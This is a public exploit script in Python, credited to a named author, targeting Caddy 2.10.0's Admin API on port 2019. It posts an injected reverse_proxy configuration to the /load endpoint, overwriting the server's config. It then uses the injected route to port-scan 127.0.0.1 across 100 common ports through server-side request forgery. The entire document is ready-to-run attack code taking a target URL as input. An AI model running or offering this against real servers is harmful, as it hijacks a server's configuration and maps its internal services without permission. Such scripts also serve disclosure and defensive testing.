# Exploit Title: Caddy 2.10.0 - Admin API SSRF via JSON Config Injection # Date: 2025-07-10 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://caddyserver.com/ # Software Link: https://github.com/caddyserver/caddy # Version: 2.10.0 # Tested on: Linux (Kali), Caddy 2.10.0 binary # CVE: N/A # Description: # By abusing Caddy's Admin API at :2019, an attacker can inject a reverse_proxy config # and force the server to make SSRF requests to internal IPs and ports. import json import requests import argparse from time import sleep # === CLI Argument Parser === parser = argparse.ArgumentParser(description="Caddy Admin SSRF Port Scanner" ) parser.add_argument("-u", "--url", required=True, help="Caddy Admin API base URL (e.g., http://localhost)") parser.add_argument("-p", "--port", required=True, help="Caddy Admin API port (e.g., 2019)") args = parser.parse_args() # === Configuration === target = f"{args.url.rstrip('/')}:{args.port}" SCAN_PORT = 8989 # SSRF scanning endpoint # === Top 100 Common Ports (Nmap Default) === top_100_ports = [ 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080, 20, 554, 179, 1025, 1720, 2000, 17231, 49152, 49153, 49154, 49155, 49156, 49157, 7, 13, 19, 37, 49, 69, 70, 79, 88, 106, 113, 119, 123, 1433, 1521, 161, 389, 427, 465, 500, 514, 515, 543, 544, 548, 587, 636, 873, 992, 1026, 1027, 1028, 1029, 1030, 3300, 4444, 5000, 5050, 5060, 5100, 5120, 5200, 5353, 5432, 5800, 5901, 6000, 6001, 6646, 7000, 7070, 8000, 8008, 8081, 8443, 8888, 9000, 9090, 9999, 10000, 32768, 49158, 49159, 49160, 49161, 49162, 49163, 49165, 49167, 49175, 49176, 49177 ] # === Stage 1: Create Payload === print("\n[+] Stage 1: Generating SSRF JSON payload...") payload = { "apps": { "http": { "servers": { "scanner": { "listen": [f":{SCAN_PORT}"], "routes": [{ "match": [{ "path_regexp": { "name": "scan", "pattern": "/scan/(?P\\d+)" } }], "handle": [{ "handler": "subroute", "routes": [{ "handle": [{ "handler": "reverse_proxy", "upstreams": [{ "dial": "127.0.0.1:{http.regexp.scan.port}" }] }] }] }] }] } } } } } json_file_path = "ssrf_portscan.json" with open(json_file_path, "w") as f: json.dump(payload, f, indent=2) print("[+] Payload saved to ssrf_portscan.json") # === Stage 2: Upload Config === print("\n[+] Stage 2: Uploading payload to Caddy Admin API...") try: with open(json_file_path, "rb") as f: res = requests.post(f"{target}/load", headers={ "Content-Type": "application/json" }, data=f.read()) if res.status_code == 200: print("[+] Config successfully loaded!") else: print(f"[!] Upload failed ({res.status_code}): {res.text}") exit(1) except Exception as e: print(f"[!] Exception during upload: {e}") exit(1) # === Stage 3: Start Scan === print("\n[+] Stage 3: Starting SSRF-based port scan on 127.0.0.1...\n") open_ports = [] for port in top_100_ports: try: url = f"http://localhost:{SCAN_PORT}/scan/{port}" r = requests.get(url, timeout=1) if r.status_code != 502: print(f"[+] Port {port} seems OPEN (HTTP {r.status_code})") open_ports.append(port) else: print(f"[-] Port {port} closed (502 Bad Gateway)") except Exception: print(f"[!] Port {port} request failed or timed out") sleep(0.05) # === Stage 4: Results === print("\n[+] Stage 4: Scan complete.") if open_ports: print("\n Open ports on 127.0.0.1:") print(", ".join(map(str, open_ports))) else: print(" No open ports detected.")